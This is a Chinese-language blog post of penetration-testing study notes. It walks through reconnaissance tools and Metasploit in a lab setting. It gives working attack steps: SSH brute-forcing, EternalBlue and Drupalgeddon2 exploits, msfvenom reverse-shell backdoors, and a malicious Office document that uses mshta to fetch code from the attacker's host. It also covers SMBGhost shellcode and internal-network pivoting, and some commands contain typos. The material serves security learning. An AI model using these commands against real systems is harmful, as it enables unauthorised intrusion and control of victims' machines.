渗透测试基础学习笔记

owasp 开源web应用安全项目
官网:owasp.org.cn

owasp top10 web常见十大安全风险

web安全测试指南
https://owasp.org/www-project-web-security-testing-guide/
或者
https://github.com/OWASP/wstg/tree/master/document

通用渗透测试框架

范围界定

​ 在开展技术性安全评估之前,务必要观察,研究目标环境的被测范围
​ 取得授权 测试对象
​ 如果给的是主域名或者一级域名,那么该域名下的所有级别域名都是被测范围
​ 如果给的是二级域名,那只有该域名是被测范围
​ 应当采取何种测试方法
​ 有哪些在渗透测试过程中需要满足的条件?
​ 需要多长时间完成测试任务
​ 此次测试应当达到什么样的任务目标?

信息收集

​ 测试人员需要通过各种公开资源尽可能的获取此时目标的相关信息
​ 比如,各类网站 搜索引擎
​ 最终收集的信息:
​ DNS服务器,路由关系,whois数据库,电子邮件地址,电话号码,学生信息,员工信息,个人信息,用户账户

目标识别

​ 目标的网络状态,操作系统,网络架构
​ 完整的展现目标网络里的各种联网设备或技术的完整关系,
​ 有哪些设备,比如 安全设备,交换机路由器,个大类服务器,员工终端PC端
​ 如何去访问

服务枚举

​ 资产的收集和整理
​ 进一步找出在线主机上开放的所有端口
​ 进一步确定开放端口上的服务
​ 确定在线主机开放了哪些端口,端口上的运行服务以及详细版本
​ 收集 技术架构,开发语言,开发框架 开源CMS 前后端分离,站库分离,是否有单独的文件服务器

漏洞映射

​ 可以根据 已经发现的端口和服务程序,查找分析目标系统中存在的漏洞
​ 方法:工具和手工
​ 根据组件版本( 技术架构,开发语言,开发框架 开源CMS)查找漏洞
​ 前后端分离的网站 的逻辑漏洞 利用漏洞扫描器(网络漏洞扫描,web漏洞扫描)

社会工程学

​ 在目标网络没有直接入口的时候,其本质就是欺骗 起到抛砖引玉的作用
​ 有 人员定向攻击(物理工具,利用带病毒的u盘) 水坑工具(鱼叉攻击,钓鱼邮件,钓鱼链接)

漏洞利用

​ 通过已发现的慕白哦系统的漏洞,控制目标系统

权限提升

​ 获取目标系统的最高控制权或者系统控制器,是渗透测试成功的标准

范围维护

​ 在一定时间内,审计人员需要维护目标系统的访问权限
​ 埋藏后门,隧道技术

文档报告

​ 编写书面报告给甲方看,要主义措辞,漏洞分析结果(漏洞名称,漏洞概述,风险等级,漏洞点,漏洞验证,修复方案)
​ 保密(渗透测试报告只能给甲方负责人看)

简化渗透测试流程

​ 明确目标
​ 信息收集
​ 漏洞探测
​ 漏洞验证
​ 漏洞利用
​ 形成报告

kali系统

kali是一个渗透测试工具集合的系统,Debian是Kali是基于Debian的Linux发行版。

官网下载地址

https://www.kali.org/get-kali/#kali-virtual-machines

不建议直接安装iso文件,因为安装步骤麻烦,建议直接安装虚拟机版本,Kali Linux VMware 64-Bit
直接解压,就能运行,内存空间比较大

kali的登录

​ 在2020.1版本后,kali禁用了root用户
​ 需要使用 用户名kali 密码kali 登录
​ 想要使用root用户,就通过登录,用sudo 密码也是kali

kali的更新

​ 使用的是滚动更新源,在更新的时候,可以自动定位到国内的源
​ 更新源配置文件 /etc/apt/sources.list

kali常见服务

ssh服务 linux远程管理工具
查看ssh服务是否启动

sudo systemctl status ssh

ssh配置文件所在路径:/etc/ssh/sshd_config
进入到配置文件所在路径:

cd /etc/ssh

​ 先备份一份:

sudo cp sshd_config sshd_config.bak

​ 然后修改ssh配置文件:

sudo vim ssh_config

大概在34行,找到PermitRootLogin 将no改为yes

PermitRootLogin yes

大概在58行,找到PasswordAuthentication 改为yes

PasswordAuthentication yes

然后保存文件
启动ssh服务

sudo systemctl start ssh

测试ssh服务

ssh kali@127.0.0.1

将ssh服务设置为开机自启动

sudo systemctl enable ssh

信息收集

域名收集

漏洞测试网站

http://www.testfire.net/
http://vulnweb.com/

whois命令

是用于查找域名的注册信息,包括域名所有者、注册商、注册日期和到期日期等。这项服务是域名系统(DNS)中不可或缺的一部分,它允许用户通过输入域名来查询该域名的详细信息。

whois 域名

例如:

whois testfire.net

在线子域名信息查询

​ https://searchdns.netcraft.com/

ping命令

系统自带的ping命令是可以查询域名的ip,但这查询的ip不一定是真实的

ping 域名

nslookup 命令

nslookup命令主要用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。

nslookup 域名

dig命令

dig 命令可以查询各种类型 DNS 记录信息,包括:主机名称记录(A、AAAA)、邮件交换记录(MX)和别名记录(CNAME)等等。

dig  域名

dnsenum命令

通过dns漏洞查找到域名相关的信息。 是一个用于枚举域名的DNS信息的工具,它可以帮助用户发现目标域名的主机记录、子域名、邮件交换记录等

dnsenum 域名

检测网站的架构插件

1.Netcraft Anti-Phishing Extension 火狐插件
点击插件 Site Report 可查看网站报告

2.wappplayzer 插件也是检测网站架构的

网站信息扫描

whatweb 网站指纹信息收集工具

whatweb在线网址查询

识别网站的详细信息:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等,还标识版本号,电子邮件地址,账户ID,Web框架模块,SQL错误等。

网址:

https://whatweb.net/
whatweb命令工具用法:
whatweb 域名

nikto命令

Nikto是一款常用的Web漏洞扫描工具,它可以扫描Web服务器上的常见漏洞和安全问题,如SQL注入、XSS、文件包含、目录遍历等。

nikto -h 网址

参数:

- -p:指定要扫描的端口号,多个端口号用逗号分隔。

- -ssl:指定使用SSL协议进行扫描。

- -id:指定要发送的HTTP头信息。

- -Tuning:指定扫描的级别,包括0-3级。

- -output:指定输出扫描结果的文件名。

网站目录爆破

御剑扫描工具

GitHub 下载地址

https://github.com/foryujian/yjdirscan

dirb命令

可以用来爆破网址的目录

dirb 网址

或者:

./dirb 网址 ./wordlists/common.txt

专用扫描器

专用扫描器是针对某一个cms架构做漏洞扫描

joomscan扫描器

joomscan 专门扫描用joomla模板搭建的网站
安装步骤

更新源

sudo apt-get update

下载

sudo apt-get install joomscan

语法:

joomscan -u 网址

wpscan扫描器

用于扫描 用wordpress模板搭建的网站

先更新扫描器

wpscan --update

然后使用命令

wpscan --url 域名

- --enumerate:启用特定类型的枚举扫描,如用户、插件和主题。
- --plugins-detection:设置插件检测的模式,如默认、被动或侵入式。
- --detection-mode:设置扫描的侦测模式,如快速、默认或深度。

droopscan扫描器

droope扫描器是一种网络安全工具,主要用于识别和分析目标网络或系统中的漏洞和潜在的安全风险。它可以帮助安全研究人员、渗透测试人员和网络管理员对目标进行深度的安全评估,发现潜在的安全隐患,并采取相应的措施进行防范和修复。

具体来说,droope扫描器可能具有以下一些作用:

  1. 漏洞扫描:扫描器会对目标系统进行全面的漏洞扫描,检查是否存在已知的安全漏洞或弱点。这些漏洞可能包括未修补的软件缺陷、配置错误或安全策略不当等。
  2. 端口扫描:扫描器会探测目标主机上开放的端口,以了解哪些服务正在运行以及它们是否存在潜在的安全风险。
  3. 服务识别:通过扫描目标主机上的端口,扫描器可以识别出正在运行的服务及其版本信息,这有助于进一步分析服务的安全性。
  4. 敏感信息泄露检测:扫描器可以检测目标系统中是否存在敏感信息的泄露,例如密码、数据库连接字符串、配置文件等。
  5. 风险评估:基于扫描结果,扫描器可以对目标系统的安全风险进行评估,并提供相应的建议和措施,帮助用户加强安全防护。

在github上搜索安装 droope

https://github.com/SamJoan/droopescan

droope 是基于python开发的

先安装python相关工具

apt-get install python-pip

然后用python 的pip 下载 ,一般情况,工具都喜欢安装到 /opt 目录下

pip install droopescan

用法

droopescan scan -u 域名

nmap扫描器

官方网址:

https://nmap.org/

强烈建议将nmap下载到物理机上。

扫描192.168.163网段上所有在线的主机

sudo nmap -sP 192.168.16.0/24

根据MAC确定对应的主机

服务枚举

确定开放的端口和端口上所允许的服务
1.确定开放的端口;2.确定端口上运行的服务

然后 namp 这款工具就可以实现服务枚举的功能

扫描目标端口的开放情况

sudo nmap 192.168.16.109  

扫描目标指定端口开放情况

sudo nmap 192.168.16.109   -p 22,80

扫描目标全部端口开放情况

 sudo nmap 192.168.16.109   -p 1-65535

-O 参数是扫描操作系统 加上-p80参数是 通过80端口查找目标的操作系统,但不是很准确

sudo nmap 192.168.16.109 - O -p80 

nmap其他参数:

tcp 全链接扫描 :-sT

tcp半连接扫描 :-sS

隐蔽扫描 :-sN 	-sF	-sX

详细服务版本: -sV

全面扫描 :-A
	例如:sudo nmap 192.168.16.109 -p-  -sS -A
	其中-p-意思是扫描全部端口1-65525

开源漏洞库

Exploit-db在线漏洞查询网站

网址:

https://www.exploit-db.com/

Seebug在线漏洞查询网站

网址:

https://www.seebug.org/

searchsploit在线漏洞查询工具

是kali中的工具

searchsploit 架构名 版本

查询结果格式:

​ Exploit Title | Path

查看详情:
先下载

searchsploit -m Path的编号

​ 再用cat 查看文件

cat Path的编号

实战小演示

扫描出当前局域网内,存在主机的ip

sudo nmap -sP 192.168.16.0/24

比如这里 锁定 192.168.16.109

根据扫描出的ip全面扫描端口号

sudo nmap -p- -A 192.168.16.109

接下来做 信息收集 (DNS信息,DNS2IP, IP查询,网站技术架构,网站信息扫描,网站目录爆破,专用扫描器)

收集 网站技术架构

1.用wappalyzer浏览器插件 查询目标网站的技术架构

2.用whatweb命令

whatweb 网址

3.用nikto命令

nikto -h 网址

以上三种方式都尝试一遍

网站目录爆破

dirb命令爆破网站目录

dirb 网址

使用专用扫描器(joomscan,wpscan,droopescan)
假设上面扫描出来发现即时架构是joomscan 所以这里用该扫描器扫描

joomscan 网址

扫描出joomscan的版本号,根据版本号去漏洞网站搜寻joomla漏洞
例如扫出来的是 joomla 3.7.0

漏洞网站及工具:Exploit-db(网站) Seebug(网站) searchsploit(kali中的工具)

用searchsploit 命令工具扫描

searchsploit joomla 3.7.0 

扫出来的漏洞格式:下面是例子

Exploit Title							 |  Path
Joomla! 3.7.0-'com_fields' SQL Injection |  php/webapps/42033.txt
…… 										 |  ……

查看漏洞的详情
先下载漏洞说明:

searchsploit -m 42033

然后查看漏洞详情

cat 42033

Metasploit 工具库

是一个渗透测试开源软件,是多个渗透测试工具的集合,能做很多事情,使用Ruby语言编写的,下面简称msf

GitHub下载网址

https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html

不需要安装,因为kali系统自带

启动命令

msfconsole

因为该工具占用内存大,所以启动比较慢

MSF功能模块

  • auxiliary 辅助模块
  • explotis 渗透攻击模块
  • payloads 攻击载荷模块
  • nops 空指令模块
  • encoders 编译器模块
  • post 后渗透攻击模块
  • evasion 免杀模块

msf安装路径 : /usr/share/metasploit-framework
攻击模块路径:/usr/share/metasploit-framework/modules

MSF更新:

​ msf不能直接更新,只能重装,命令依次如下
​ 更新软件列表

sudo apt-get update

​ 重新安装

sudo apt-get install metasploit-framework

​ 进入到目录

cd /usr/share/metasploit-framework/

​ 然后安装bundle依赖

sudo bundle install

常用基本命令

启动:

sudo msfconsole

使用模块命令:

use 模块

例如

use auxiliary/scanner/discovery/arp_sweep

退出模块,但模块的配置依然有效

back

搜索相关模块和关键字:

search path:模块

例如

search path:arp_sweep

使用use命令进入到模块后,查看当前模块的信息:

info

使用use命令进入到模块后,查看当前模块脚本配置选项

show options

设置模块选项

set 参数名 参数

启动脚本

推荐使用辅助模块时
run

或者
推荐渗透攻击时
exploit

查看所有的会话:

sessions -i 

通过ID号码,进入某一个会话

session -i id

显示模块适用的目标类型,默认为0

show targets 

切换目标类型

set target id编号

情报搜集

auxiliary辅助模块路径:/usr/share/metasploit-framework/auxiliary

主机发现

主机发现模块路径

/usr/share/metasploit-framework/auxiliary/discovery

apr_sweep模块

​ 可以来枚举本地局域网中的所有活跃主机

尝试使用arp_sweep模块 进行主机扫描
首先使用模块

use auxiliary/scanner/discovery/arp_sweep

查看该模块下的脚本配置选项

show options

arp_sweep模块的选项界面

Name(模块名)CurrentSetting(当前的设置参数,没有设置就为空)Required(运行期间,该配置是否必须)Description(模块描述)
INTERFACE(网卡接口)noThe name of the interface
RHOSTS(目标主机)yesThe target host(s),range CIDR identifier,or hosts file with syntax ‘file:
SHOST(源IP地址)noSource IP Address
SMAC(源MAC地址)noSource MAC Address
THREADS(线程数)1yesThe number of concurrent threads (max one per host)
TIMEOUT(超时)5yesThe number of seconds to wait for new data

设置RHOSTS(目标主机)

set RHOSTS 本机ip/24	

例如

set RHOSTS 192.168.16.194/24

然后RHOSTS配置选项就设置成功了
设置 THREADS(线程)

set THREADS 50

设置TIMEOUR(超时) 为2秒

set TIMEOUT 2

设置 SHOST(源ip),可以伪装

set SHOST 自定义ip

例如

set SHOST 1.1.1.1

启动模块

run

但是该模块有个缺点,不能查看MAC地址,这点不如nmap

端口扫描

在不知道模块在哪里的情况下,可以使用search扫描

search path:portscan

就会列出一些关于端口扫描的辅助模块的路径
比如 这里 我们选择syn模块做端口扫描

use auxiliary/scanner/portscan/syn

查看该模块的选项:info 或者 show options

info

设置目标地址:

set RHOSTS 目标ip

例如

set RHOSTS 192.168.16.116

设置端口号 默认是10000,这里我们就设置 1-65535

set PORTS 1-65535

设置线程 为 50

set THREADS 50

然后就可以启动了,这个模块扫描比较慢,不如nmap

run

补充

  1. kali中还有一款工具netdiscover 也可以扫描端口,查看ip和mac地址
sudo netdiscover
  1. 在msf控制台中可以调用系统中的命令,如果在使用模块的情况下,要先back

服务查点

​ msf中有许多服务扫描和查点的工具,一般通常以 服务名加加版本号 的形式,可以遍历网络中包含某种服务的主机

比如 扫描网络中开放 SSH服务的所有主机,模块名:ssh_version
搜索下 有关ssh_version的模块

search ssh_version

然后就会列出一些有关ssh扫描的模块
(当然还有其他模块,比如: ftp_version 、telnet_version、 mysql_version、 mssql_ping)

使用 ssh_version模块

use auxiliary/scanner/ssh/ssh_version

查看该模块的选项配置(大小写都可以)

info

设置目标地址

set rhosts 192.168.16.194/24

设置线程数

set THREADS 10

设置超时时间

set TIMEOUT 10

然后启动

run

口令猜测

所有的口令猜测模块都以 服务名_login 来命名

SSH服务口令猜解
在确定了网络上的SSH服务之后,可以使用MSF中的ssh_login 模块对SSH服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和字典

先创建账号密码的字典,用于测试ssh爆破

创建一个名为dic的文件夹,用于存放字典

mkdir dic

进入到dic目录下

cd dic

创建字典 名为 user.dic 用于存放用户名字典

vim user.dic

编辑user.dic文件

admin
ajest
root
kali
adminisitrator

创建字典 名为 pass.dic 用于存放密码字典

vim pass.dic
123456
123.com
11qq'''
admin888
test123

搜索ssh_login相关模块

search ssh_login

使用ssh_login模块

use auxiliary/scanner/ssh/ssh_login

查看选项参数

info

设置密码字典

set PASS_FILE 刚刚创建的pass.dic的目录

例如:

set PASS_FILE /home/kali/dic/pass.dic

设置目标ip

set RHOSTS 192.168.16.194

设置线程

set THREADS 50

设置账号字典

set PASS_FILE 刚刚创建的user.dic的目录

例如:

set USER_FILE /home/kali/dic/user.dic

设置 STOP_ON_SUCCESS ,默认为false,在猜测到正确的用户名和密码时候,就停止猜测

set STOP_ON_SUCCESS true

设置USER_AS_PASS ,默认为false 将用户名作为密码出现

set USER_AS_PASS true

设置VERBOSE,默认为false 显示详细的爆破过程

set VERBOSE true

设置BLANK_PASSWORDS,默认为false,为所有用户设置空密码

set BLANK_PASSWORDS true

然后就可以启动

run

会话管理

如果攻击成功,就会建立一个session会话

查看所有连接的会话

sessions -i

会出现格式

IDNameTypeInformationConnection

进入到会话

sessions -i 指定id

例如,进入到id为1的会话

sessions -i 1

直接退出会话

exit

将进入到的会话隐藏到后台

background

然后输入 y 确认

结束会话

sessions -i 会话ID -q

查看帮助

sessions -h 

查看其他口令爆破

search  _login

网站敏感目录扫描

msf中有 brute_dirs , dir_listing,dir_scanner 等辅助模块来进行敏感目录扫描

这里我们使用下brute_dirs
使用模块

use auxiliary/scanner/http/dir_scanner

查看选项配置

show options

设置目标ip

set RHOSTS 192.168.16.116

设置线程

set THREADS 50

然后就可以启动

run

网站敏感文件扫描

可以直接使用系统命令

dirb 目标网址

搜索相关漏洞
直接使用系统命令

nikto -h 目标网址

假设扫描出来的目标网站用的模板是drupal 7 版本

那么我们就可以搜索drupal7 的相关漏洞
可以直接用kali中的漏洞库

searchsploit drupal 7.x

那么就会列出相关的漏洞
列出格式

Exploit TitlePath

然后就可以利用msf搜索drupal相关的模块

search drupal

就会列出一些关于drupal相关的漏洞利用模块,如果Rank值为 excellent 那么八成就是了,一般选择最新的

drupal组件攻防

搜索相关模块

search drupal

使用模块

use exploit/unix/webapp/drupal_drupalgeddon2

设置目标ip

set rhosts 192.168.16.116

设置payload

set payload payload类型

尽量选择带 meterpreter,tcp,reverse(反向反弹式)的

例如:

set payload php/meterpreter/reverse_tcp

然后 exploit(攻击模块) 运行,或者run也行

exploit

如果出现 meterpreter > 界面 说明就成功了
可以用help查询可使用的命令

help

然后再执行 shell 命令 就可以反弹目标的shell

shell

查看当前用户权限

getuid

查看当前进程的pid

getpid

"永恒之蓝"漏洞

编号:Ms17-010
微软发布的17年的第十个安全公告
windows 7 和 windows server 2008的漏洞

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue

扫描内网中是否存在 “永恒之黑” 的漏洞主机

use auxiliary/scanner/smb/smb_ms17_010 

可以用info查看信息

info

设置目标ip

set rhosts 192.168.16.194/24

设置线程数

set THREADS 50

然后就可以run

run

找到目标主机ip,然后就可以back

然后再次使用漏洞模块

use exploit/windows/smb/ms17_010_eternalblue

切换paylad

set payload windows/x64/meterpreter/reverse_tcp

设置目标地址

set rhosts 192.168.16.194

可以先用sessions 查看是否已经存在默认的端口号(8443)连接
如果已经存在,可以结束已存在连接或者切换其他任意开放且空闲的端口

set LPORT 1111

然后可以启动了 run 或者 exploit

run

whoami 查看当前权限,如果是system是最高权限

whoami

Meterpreter

在利用 “永恒之蓝” 之类的漏洞 反弹到目标主机的shell之后,就会进入到 meterpreter 的界面

基本常用命令

查看帮助

help

查看当前的帮助信息

?

将当前进程隐藏到后台 ,简写为bg

background 

结束会话

bgkill id号

退出会话

exit

查看会话超时时间

get_timeouts

展示关于post模块的信息

info

载入第三方模块 例如:load mimikatz(法国神器,可以导出当前系统用户密码),执行命令:kerberos

load 载入第三方模块

进程id号 进程切换

migrate 

查看当前进程号

getpid 

查看目标系统的所有进程

ps

结束当前会话

quit 

文件系统命令

​ getwd :获取目标当前工作路径
​ getlwd: 获取当前本地工作路径
​ ls: 列出目标当前工作目录中的文件和目录
​ mkdir: 创建目录
​ rmdir: 删除目录
​ dir :作用与ls一样
​ upload 本地文件的路径 :上传文件或目录
​ cat 读取文件
​ edit: 编辑文件,类似于vim编辑器
​ download 文件名 :下载文件到本地
​ rm:删除文件
​ mv:移动文件
​ pwd:目标的当前工作目录
​ rm 文件名:删除文件
​ lls:列出本地文件路径
​ cp:复制文件
​ chmod:更改权限
​ search -f 文件名(可用正则):搜索文件
​ getuid:查看当前账户
​ shell:获取系统中的进程
​ sysinfo:获取系统信息
​ shutdown:关机

网络命令

​ portfwd:端口转发

系统命令

执行一个系统命令

execute -f exe可执行文件的所在路径

​ 默认执行的用户是system用户,一般windows上登录的用户都是administrator,所以目标计算机不会弹出程序窗口
​ 所以要是想要使目标用户弹出程序窗口,就要切换到当前登录的用户(administrator),想要切换普通用户(administrator),直接切换普通用户程序的进程,就可以了,比如切换 explorer.exe,该进程的进程号是1844,所以执行命令 migrate 1844,然后就可以弹出窗口了

结束进程

kill 进程id

要想重新切换到system权限,可以切换到系统权限的任意进程

扩展:
" 永恒之黑"
编号:CVE-2020-0796
微软SMBv3协议漏洞
windows 10 1903 的漏洞

社会工程学

在法律允许的范围内进行 对目标组织人员进行定向攻击,诱骗,类似于钓鱼
客户端软件攻击(被动式攻击,Office Adobe等客户端软件)

Office 漏洞

编号 Office-CVE-2017-11882
针对于微软office软件,可以通杀 2003 到2016 版本
可以实现普通用户一旦打开office文档,黑客一端,目标主机直接上线,可谓是"无色无味"

漏洞利用脚本
github地址:

https://github.com/starnightcyber/CVE-2017-11882

在kali系统下:
先创建一个目录,用于存放脚本源码

mkdir CVE-2017-11882

从github上拉取源码

git clone git@github.com:starnightcyber/CVE-2017-11882.git

生成恶意文件

先赋予脚本文件权限

chmod 777 CVE-2017-11882

例如 生成一个 test.doc文档,当用户打开此文档,就会弹出计算器

python Command_CVE-2017-11882.py -c  "cmd.exe / c calc.exe" - o test.doc

此时生成的文件,是存放在本地主机的目录下 ./CVE-2017-11882/test.doc
将此文件发送给目标主机,在此过程中,不要试图打开该文档

与msf联动

进入到msf的安装目录

cd /usr/share/metasploit-framework/

将 CVE-2017-11882 文件夹中的 PS_shell.rb 文件放在 modules,命令如下

cd /usr/share/metasploit-framework/modules/exploits/

sudo mkdir self(名字随意)
回到 CVE-2017-11882 目录下,执行命令

sudo cp PS_shell.rb /usr/share/metasploit-framework/modules/exploits/self

进入到刚刚创建的self文件夹中

cd /usr/share/metasploit-framework/modules/exploits/self

启动msf

sudo msfconsole

使用脚本

use exploit/self/PS_shell

设置本机ip,作用是在本地开启web服务

set srvhost 本机ip 

设置端口

set srvport 80

设置uripath 为a

set uripath a 

然后效果就是 http://本机ip/a
运行

exploit

执行生成恶意文档命令,效果就是用户打开了恶意文档,本机就会连上,该脚本的代码是vbScript

python Command_CVE-2017-11882.py -c  " mshta.exe http://本机ip/a" - o test.doc

然后将该文件,从本地中发送到目标主机中
如果目标用户打开test.doc 那么本机这就会连接会话,需要点等待时间
此时可以用sessions -i 查看 或者使用
此时连接的用户是普通权限

msfvenom

一个metasploit 独立有效载荷生成器,同时也是msfpayload 和 msfencode 的替代品
生成shellcode(能够获取目标shell的代码)工具,实质上就是生成后门
可以生成exe文件,当受害者运行这个exe文件的时候,系统就会被控制

常用命令

列出指定类型的模块,类型包括payloads,encoders,nops,platforms,archs,encrypt,formats,all

-l  模块

例如:

msfvenom -l payloads

会出现很多payload

快速查找模块

msfvenom -l payloads | grep "要查找的模块"

例如:

msfvenom -l payloads | grep "windows" | grep "x64" | grep "meterpreter"

使用payload

-p payload路径

指定文件类型(exe)

-f 文件类型

指定一个编码器

-e

输出文件

-o 文件名

捆绑文件时所使用的模板,原来的程序不能正常使用

-x

保持模板文件的正常功能,原来的程序可以正常使用

-k

去除坏字符

-b

生成exe后门

本次测试系统是windows 7

cd tmp/

查找模块

msfvenom -l payloads | grep "windows" | grep "meterpreter" | grep "reverse_tcp"

找到 windows/meterpreter/reverse_tcp 然后记录下来

生成exe后门

msfvenom -p windows/meterpreter/reverse_tcp lhost = kali的ip地址 lport=任意端口 -f exe -o reverse_tcp.exe

在kali下将后门文件 发送到 目标主机上

假设上面设置监听端口是 1111

启动msf

sudo msfconsole

使用监听模块

use exploit/multi/handler

设置payload

set payload windows/meterpreter/reverse_tcp

设置监听端口

set lport 1111

然后执行

run

然后用户一旦点击exe文件,就直接被连接,进入meterpreter界面

可以尝试

screenshot

对目标靶机进行屏幕截图

监控目标主机屏幕

run vnc

" 永恒之黑"漏洞

编号:CVE-2020-0796
微软SMBv3协议漏洞
windows 10 1903 的漏洞

受影响的版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server,version 1903(Server Core installation)
Windows Server,version 1909 (Server Core installation)

查看 版本号是否是 1903
执行cmd命令,systeminfo | findstr KB4551762,查看是否有补丁

工具检测

Python检测脚本
下载链接:https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
Nmap检测脚本(nse脚本)
下载链接:
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
Powershell检测脚本
下载链接:
https://github.com/T13nn3s/CVE-2020-0976/blob/master/CVE-2020-0796-Smbv3-checker.ps1
注:由于此检测方式原理为对SMB3版本进行检测,因此在安装官方补丁后,可能会出现误报的情
况。

python脚本检测

利用git将代码拉取到kali中,指令依次如下

mkdir /tmp/tools/smbGhost
cd /tmp/tools/smbGhost
git clone git@github.com:ly4k/SMBGhost.git
cd SMBGhost
python3 scanner.py ip/24

nmap检测

从GitHub上下载第三方插件,并且植入到nmap插件中,利用nmap进行扫描检测,命令依次如下

mkdir /tmp/tools/nmap-script
git clone git@github.com:cyberstruggle/DeltaGroup.git
cd DeltaGroup/CVE-2020-0796
mv CVE-2020-0796 /home/kali/tools/nmap
cd /home/kali/tools/nmap
sudo nmap -p 445  ip/24 --script=./nmap-script/CVE-2020-0796.nse

namp的脚本路径:/usr/share/nmap/scripts

漏洞利用

下载工具SMBGhost_RCE_PoC
github下载地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

cd /tmp/tools/smbGhost
git clone git@github.com:chompie1337/SMBGhost_RCE_PoC.git

与msf联动

生成二进制shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本地kali的ip lpost=任意端口 -b "\x00" -f python

执行以上命令,会出现二进制代码,复制下来

备份 exploit.py

cp exploit.py exploit1.py

打开记事本

mousepad exploit1.py

找到 USER_PAYLOAD 删除,将最后一个改为 USER_PAYLOAD = buf,将刚刚复制的二进制代码粘贴

使用监听模块

use exploit/multi/handler

设置payload

set payload windows/x64/meterpreter/reverse_tcp

假设上面设置的端口是 2222

set lport 2222

然后启动

run

重启靶机,等待约30秒,靶机内存尽量大点

启动脚本

python3 exploit1.py -ip 目标ip:2222

内网渗透

核心技术:内网穿透与隧道

扫描网站的敏感目录

drib 网址

发现网站后台

发现sql注入点,进入sql注入获取账密,然后用md5解密

利用木马获取目标shell

pr提权,直接上传pr.exe
如果因为权限问题上传不了,可以利用回收站上传
回收站目录:c:\RECYCLER\

/c c:\RECYCLER\pr.exe "cmd命令"

利用msf生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本地kali的ip lpost=4444 -f exe -o re.exe
sudo msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
exploit

将生成的re.exe后门文件上传到目标服务器上
/c c:\RECYCLER\pr.exe “c:\RECYCLER\re.exe”

然后就进入meterpreter

此时,目标主机就可以作为跳板机

ifconfig发现内网地址

background 将会话后台挂起

添加路由

run autoroute -s 内网ip 255.255.255.0

查看添加的路由

run autoroute -p 

尝试下利用 永恒之蓝 漏洞 rhost 设置为 目标内网的ip,不行就算了

回到 会话,进入shell界面,arp -a查看高速缓存区中的ARP表项,列出内部中的ip

bg
back 
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set lhost 目标内网地址
exploit

至此,就是利用内网的一台主机作为跳板控制另外一台主机

  • 17
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值